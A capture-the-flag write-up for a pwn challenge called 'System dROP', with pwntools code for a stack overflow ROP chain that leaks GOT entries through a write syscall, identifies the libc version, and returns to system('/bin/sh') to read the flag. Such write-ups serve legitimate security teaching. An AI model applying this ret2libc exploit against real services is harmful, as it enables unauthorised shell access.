Pwn - System dROP

The name of this challenge gives us a big hint. It's talking about a ROP. Unfortunately for the price of this hint we don't know which libc is being used, so returning on a specific function of the libc is going to be hard.

By analysing the binary we find a main function which does a buffer overflow and then returns 1. This is really useful because it means when we'll start the rop, 1 will be loaded inside the rax register. And this is great because we can find a function named _syscall that finishes with a syscall instruction then a ret. Because the rax register will be set to 1, we can do a write syscall.

This will allow us to leak got entries.

def leak_got(entry): with log.progress("leaking got entry for %s" % entry) as progress: progress.status("forging rop") # Here we feed the overflow with garbage bytes until the return address. rop = b"A" * 0x28 # Here we found a `pop rsi` instruction, followed by another `pop` and # finished with `ret`. # `rsi` is the second argument, so it's the address from where we want # to leak data. rop += p64(elf_rop.find_gadget(["pop rsi"]).address) rop += p64(elf.got[entry]) rop += p64(0) # Setting the length of the `write` is not necessary because we keep the # length set for the read function. # Then we return to the `syscall` instruction rop += p64(0x0040053b) # And finally we restart to the main function rop += p64(elf.symbols["main"]) progress.status("sending rop") conn.send(rop) progress.status("computing leak address") return u64(conn.recv(0x100)[:0x8])

Now that we can leak entries from the got table, we will leak two functions this way we can determine which libc is being used.

leak_main = leak_got("__libc_start_main") leak_read = leak_got("read") log.info("Leak __libc_start_main %x" % leak_main) log.info("Leak read %x" % leak_read)

Once we've the address of __libc_start_main and read we can use a website like libc.blukat.me to find the libc currenly used. This gives us the following libc. All we know need is to set its base address using symbols we leaked.

libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so") libc.address = leak_read - libc.symbols["read"]

Finally we'll retrieve a shell, for this a simple rop to load the "/bin/sh" string inside the rdi register and then return to the system function.

rop = b"A" * 0x28 rop += p64(elf_rop.find_gadget(['ret']).address) rop += p64(elf_rop.find_gadget(["pop rdi", "ret"]).address) rop += p64(next(libc.search(b"/bin/sh"))) rop += p64(libc.sym["system"]) rop += p64(libc.sym["exit"]) conn.send(rop)

Now that we have a shell, all we need is to cat the flag!

conn.sendline("cat flag.txt") log.success(conn.recvlineS())